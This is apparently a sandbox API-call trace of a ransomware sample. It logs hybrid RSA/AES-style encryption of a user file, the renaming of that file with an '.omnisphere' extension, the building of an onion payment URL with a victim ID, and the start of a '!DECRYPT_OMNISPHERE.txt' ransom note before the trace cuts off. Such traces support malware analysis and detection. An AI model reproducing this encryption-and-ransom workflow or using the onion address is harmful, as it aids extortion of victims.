GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.799] GetTickCount () returned 0x115fa4a [0126.799] GetTickCount () returned 0x115fa4a [0126.799] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.799] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0126.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.800] CryptDestroyKey (hKey=0x16395e8) returned 1 [0126.800] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.800] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ab, lpName=0x0) returned 0x288 [0126.800] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ab) returned 0x1480000 [0126.800] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669230) returned 1 [0126.801] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.801] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.802] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.803] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.805] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.805] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.805] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0126.805] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4ab, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.805] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.805] GetProcessHeap () returned 0x1600000 [0126.805] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16eb050 [0126.805] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\o_3g.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\o_3g.lnk.omnisphere")) returned 1 [0126.806] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk.omnisphere.id" [0126.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\o_3g.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.807] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.808] CloseHandle (hObject=0x3c0) returned 1 [0126.808] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.809] CloseHandle (hObject=0x288) returned 1 [0126.809] SetEndOfFile (hFile=0x28c) returned 1 [0126.809] FlushFileBuffers (hFile=0x28c) returned 1 [0126.813] CloseHandle (hObject=0x28c) returned 1 [0126.813] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.813] GetProcessHeap () returned 0x1600000 [0126.813] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef310 [0126.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.813] GetProcessHeap () returned 0x1600000 [0126.813] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d57f8 [0126.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d57f8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.814] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.814] GetProcessHeap () returned 0x1600000 [0126.814] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7da8 [0126.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.814] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.814] GetProcessHeap () returned 0x1600000 [0126.814] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8870 [0126.814] PathCombineW (in: pszDest=0x16d8870, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.814] GetProcessHeap () returned 0x1600000 [0126.814] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, 